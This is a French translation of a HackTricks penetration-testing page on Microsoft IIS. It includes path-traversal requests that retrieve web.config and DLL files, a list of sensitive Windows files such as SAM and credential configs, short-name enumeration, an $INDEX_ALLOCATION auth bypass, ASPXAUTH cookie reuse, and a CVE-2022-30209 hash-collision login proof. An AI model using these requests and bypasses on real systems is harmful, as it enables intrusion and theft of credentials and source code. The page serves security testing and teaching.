mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
265 lines
14 KiB
Markdown
265 lines
14 KiB
Markdown
# IIS - Internet Information Services
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Tester les extensions de fichiers exécutables :
|
||
|
||
- asp
|
||
- aspx
|
||
- config
|
||
- php
|
||
|
||
## Divulgation de l'adresse IP interne
|
||
|
||
Sur tout serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0 et à l'intérieur de la réponse, l'en-tête Location pourrait vous indiquer l'adresse IP interne :
|
||
```
|
||
nc -v domain.com 80
|
||
openssl s_client -connect domain.com:443
|
||
```
|
||
Réponse divulguant l'adresse IP interne :
|
||
```
|
||
GET / HTTP/1.0
|
||
|
||
HTTP/1.1 302 Moved Temporarily
|
||
Cache-Control: no-cache
|
||
Pragma: no-cache
|
||
Location: https://192.168.5.237/owa/
|
||
Server: Microsoft-IIS/10.0
|
||
X-FEServer: NHEXCHANGE2016
|
||
```
|
||
## Exécuter des fichiers .config
|
||
|
||
Vous pouvez télécharger des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d'ajouter le code à la fin du fichier à l'intérieur d'un commentaire HTML : [Télécharger l'exemple ici](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||
|
||
Plus d'informations et de techniques pour exploiter cette vulnérabilité [ici](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||
|
||
## Découverte IIS Bruteforce
|
||
|
||
Téléchargez la liste que j'ai créée :
|
||
|
||
{{#file}}
|
||
iisfinal.txt
|
||
{{#endfile}}
|
||
|
||
Elle a été créée en fusionnant le contenu des listes suivantes :
|
||
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
||
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
||
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||
|
||
Utilisez-le sans ajouter d'extension, les fichiers qui en ont besoin l'ont déjà.
|
||
|
||
## Traversée de chemin
|
||
|
||
### Fuite de code source
|
||
|
||
Consultez l'intégralité de l'article ici : [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||
|
||
> [!NOTE]
|
||
> En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "**assemblyIdentity**" et "**namespaces**". Avec ces informations, il est possible de savoir **où se trouvent les exécutables** et de les télécharger.\
|
||
> À partir des **Dlls téléchargés**, il est également possible de trouver **de nouveaux namespaces** où vous devriez essayer d'accéder et obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.\
|
||
> De plus, les fichiers **connectionstrings.config** et **global.asax** peuvent contenir des informations intéressantes.
|
||
|
||
Dans les **applications .Net MVC**, le fichier **web.config** joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application s'appuie à travers les balises XML **"assemblyIdentity"**.
|
||
|
||
### **Exploration des fichiers binaires**
|
||
|
||
Un exemple d'accès au fichier **web.config** est montré ci-dessous :
|
||
```html
|
||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
Cette demande révèle divers paramètres et dépendances, tels que :
|
||
|
||
- **EntityFramework** version
|
||
- **AppSettings** pour les pages web, la validation des clients et JavaScript
|
||
- **System.web** configurations pour l'authentification et l'exécution
|
||
- **System.webServer** paramètres des modules
|
||
- **Runtime** liaisons d'assemblage pour de nombreuses bibliothèques comme **Microsoft.Owin**, **Newtonsoft.Json**, et **System.Web.Mvc**
|
||
|
||
Ces paramètres indiquent que certains fichiers, tels que **/bin/WebGrease.dll**, se trouvent dans le dossier /bin de l'application.
|
||
|
||
### **Fichiers du Répertoire Racine**
|
||
|
||
Les fichiers trouvés dans le répertoire racine, comme **/global.asax** et **/connectionstrings.config** (qui contient des mots de passe sensibles), sont essentiels pour la configuration et le fonctionnement de l'application.
|
||
|
||
### **Espaces de Noms et Web.Config**
|
||
|
||
Les applications MVC définissent également des **fichiers web.config** supplémentaires pour des espaces de noms spécifiques afin d'éviter des déclarations répétitives dans chaque fichier, comme le montre une demande de téléchargement d'un autre **web.config** :
|
||
```html
|
||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
### **Téléchargement de DLLs**
|
||
|
||
La mention d'un espace de noms personnalisé suggère qu'il existe une DLL nommée "**WebApplication1**" présente dans le répertoire /bin. Suite à cela, une demande de téléchargement de **WebApplication1.dll** est affichée :
|
||
```html
|
||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
Cela suggère la présence d'autres DLL essentielles, comme **System.Web.Mvc.dll** et **System.Web.Optimization.dll**, dans le répertoire /bin.
|
||
|
||
Dans un scénario où une DLL importe un espace de noms appelé **WebApplication1.Areas.Minded**, un attaquant pourrait déduire l'existence d'autres fichiers web.config dans des chemins prévisibles, tels que **/area-name/Views/**, contenant des configurations spécifiques et des références à d'autres DLL dans le dossier /bin. Par exemple, une requête à **/Minded/Views/web.config** peut révéler des configurations et des espaces de noms qui indiquent la présence d'une autre DLL, **WebApplication1.AdditionalFeatures.dll**.
|
||
|
||
### Fichiers courants
|
||
|
||
Depuis [ici](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||
```
|
||
C:\Apache\conf\httpd.conf
|
||
C:\Apache\logs\access.log
|
||
C:\Apache\logs\error.log
|
||
C:\Apache2\conf\httpd.conf
|
||
C:\Apache2\logs\access.log
|
||
C:\Apache2\logs\error.log
|
||
C:\Apache22\conf\httpd.conf
|
||
C:\Apache22\logs\access.log
|
||
C:\Apache22\logs\error.log
|
||
C:\Apache24\conf\httpd.conf
|
||
C:\Apache24\logs\access.log
|
||
C:\Apache24\logs\error.log
|
||
C:\Documents and Settings\Administrator\NTUser.dat
|
||
C:\php\php.ini
|
||
C:\php4\php.ini
|
||
C:\php5\php.ini
|
||
C:\php7\php.ini
|
||
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
|
||
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
|
||
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
|
||
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
|
||
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
|
||
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
|
||
c:\Program Files (x86)\php\php.ini"
|
||
C:\Program Files\Apache Group\Apache\conf\httpd.conf
|
||
C:\Program Files\Apache Group\Apache\conf\logs\access.log
|
||
C:\Program Files\Apache Group\Apache\conf\logs\error.log
|
||
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
|
||
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
|
||
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
|
||
C:\Program Files\FileZilla Server\FileZilla Server.xml
|
||
C:\Program Files\MySQL\my.cnf
|
||
C:\Program Files\MySQL\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
|
||
C:\Program Files\php\php.ini
|
||
C:\Users\Administrator\NTUser.dat
|
||
C:\Windows\debug\NetSetup.LOG
|
||
C:\Windows\Panther\Unattend\Unattended.xml
|
||
C:\Windows\Panther\Unattended.xml
|
||
C:\Windows\php.ini
|
||
C:\Windows\repair\SAM
|
||
C:\Windows\repair\system
|
||
C:\Windows\System32\config\AppEvent.evt
|
||
C:\Windows\System32\config\RegBack\SAM
|
||
C:\Windows\System32\config\RegBack\system
|
||
C:\Windows\System32\config\SAM
|
||
C:\Windows\System32\config\SecEvent.evt
|
||
C:\Windows\System32\config\SysEvent.evt
|
||
C:\Windows\System32\config\SYSTEM
|
||
C:\Windows\System32\drivers\etc\hosts
|
||
C:\Windows\System32\winevt\Logs\Application.evtx
|
||
C:\Windows\System32\winevt\Logs\Security.evtx
|
||
C:\Windows\System32\winevt\Logs\System.evtx
|
||
C:\Windows\win.ini
|
||
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
||
C:\xampp\apache\conf\httpd.conf
|
||
C:\xampp\apache\logs\access.log
|
||
C:\xampp\apache\logs\error.log
|
||
C:\xampp\FileZillaFTP\FileZilla Server.xml
|
||
C:\xampp\MercuryMail\MERCURY.INI
|
||
C:\xampp\mysql\bin\my.ini
|
||
C:\xampp\php\php.ini
|
||
C:\xampp\security\webdav.htpasswd
|
||
C:\xampp\sendmail\sendmail.ini
|
||
C:\xampp\tomcat\conf\server.xml
|
||
```
|
||
## HTTPAPI 2.0 Erreur 404
|
||
|
||
Si vous voyez une erreur comme celle-ci :
|
||
|
||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||
|
||
Cela signifie que le serveur **n'a pas reçu le bon nom de domaine** dans l'en-tête Host.\
|
||
Pour accéder à la page web, vous pourriez jeter un œil au **certificat SSL** servi et peut-être que vous pourrez y trouver le nom de domaine/sous-domaine. S'il n'y est pas, vous devrez peut-être **brute forcer les VHosts** jusqu'à ce que vous trouviez le bon.
|
||
|
||
## Anciennes vulnérabilités IIS à rechercher
|
||
|
||
### Vulnérabilité/Fonctionnalité du caractère tilde “\~” de Microsoft IIS – Divulgation de noms de fichiers/dossiers courts
|
||
|
||
Vous pouvez essayer d'**énumérer les dossiers et fichiers** à l'intérieur de chaque dossier découvert (même si cela nécessite une authentification de base) en utilisant cette **technique**.\
|
||
La principale limitation de cette technique si le serveur est vulnérable est qu'elle **ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension** des fichiers.
|
||
|
||
Vous pouvez utiliser [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) pour tester cette vulnérabilité : `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||
|
||
.png>)
|
||
|
||
Recherche originale : [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||
|
||
Vous pouvez également utiliser **metasploit** : `use scanner/http/iis_shortname_scanner`
|
||
|
||
Une bonne idée pour **trouver le nom final** des fichiers découverts est de **demander aux LLMs** des options comme cela est fait dans le script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||
|
||
### Contournement de l'authentification de base
|
||
|
||
**Contourner** une authentification de base (**IIS 7.5**) en essayant d'accéder à : `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php`
|
||
|
||
Vous pouvez essayer de **mélanger** cette **vulnérabilité** et la dernière pour trouver de nouveaux **dossiers** et **contourner** l'authentification.
|
||
|
||
## Débogage ASP.NET Trace.AXD activé
|
||
|
||
ASP.NET inclut un mode de débogage et son fichier s'appelle `trace.axd`.
|
||
|
||
Il conserve un journal très détaillé de toutes les requêtes faites à une application sur une période de temps.
|
||
|
||
Cette information inclut les IP des clients distants, les ID de session, tous les cookies de requête et de réponse, les chemins physiques, les informations sur le code source, et potentiellement même les noms d'utilisateur et mots de passe.
|
||
|
||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||
|
||

|
||
|
||
## Cookie ASPXAUTH
|
||
|
||
ASPXAUTH utilise les informations suivantes :
|
||
|
||
- **`validationKey`** (chaîne) : clé hexadécimale à utiliser pour la validation de signature.
|
||
- **`decryptionMethod`** (chaîne) : (par défaut “AES”).
|
||
- **`decryptionIV`** (chaîne) : vecteur d'initialisation encodé en hexadécimal (par défaut un vecteur de zéros).
|
||
- **`decryptionKey`** (chaîne) : clé encodée en hexadécimal à utiliser pour le déchiffrement.
|
||
|
||
Cependant, certaines personnes utiliseront les **valeurs par défaut** de ces paramètres et utiliseront comme **cookie l'email de l'utilisateur**. Par conséquent, si vous pouvez trouver un site web utilisant la **même plateforme** qui utilise le cookie ASPXAUTH et que vous **créez un utilisateur avec l'email de l'utilisateur que vous souhaitez usurper** sur le serveur attaqué, vous pourrez peut-être **utiliser le cookie du second serveur dans le premier** et usurper l'utilisateur.\
|
||
Cette attaque a fonctionné dans ce [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||
|
||
## Contournement de l'authentification IIS avec des mots de passe mis en cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||
|
||
[Rapport complet ici](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html) : Un bug dans le code **n'a pas correctement vérifié le mot de passe donné par l'utilisateur**, donc un attaquant dont le **hash du mot de passe correspond à une clé** déjà dans le **cache** pourra se connecter en tant que cet utilisateur.
|
||
```python
|
||
# script for sanity check
|
||
> type test.py
|
||
def HashString(password):
|
||
j = 0
|
||
for c in map(ord, password):
|
||
j = c + (101*j)&0xffffffff
|
||
return j
|
||
|
||
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
||
|
||
# before the successful login
|
||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
HTTP/1.1 401 Unauthorized
|
||
|
||
# after the successful login
|
||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
HTTP/1.1 200 OK
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|